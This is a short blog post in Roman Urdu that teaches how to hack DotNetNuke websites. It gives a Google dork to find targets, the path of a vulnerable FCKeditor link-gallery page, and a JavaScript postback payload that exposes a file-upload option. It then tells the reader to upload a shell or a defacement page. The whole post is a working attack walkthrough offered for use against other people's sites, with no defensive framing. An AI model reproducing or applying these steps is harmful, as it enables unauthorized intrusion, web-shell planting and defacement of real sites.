(DNN) DotNetNuke
How to Hack a site by Dnn?
Sub se pehle karna ye hai k google mein ye dork search karen:
inurl:"/portals/0" site:.com
Phir jo sites hongi wo esi hongi:
www.bo0m.com/portals/0/
Isko kholen.
Us site k url mein portals/0 ki jaga ye likhen:
providers/htmleditorproviders/fck/fcklinkgallery.aspx
Phir site esi hogi www.bo0m.com/providers/htmleditorproviders/fck/fcklinkgallery.aspx
Phir agar aap k paas box bana ata hai us mein likha hoga:
"Files on your site"
Uspe click kren. Phir ye java code url ko mita k daalen:
javascript:_dopostback('ctlurl$cmdupload',")
Us k baad upload ki option ajaega. Phir upload karden apna shell ya deface.
Is mein html upload nahi ho sakti. Jpg hoti hai only.
Tidak ada komentar:
Posting Komentar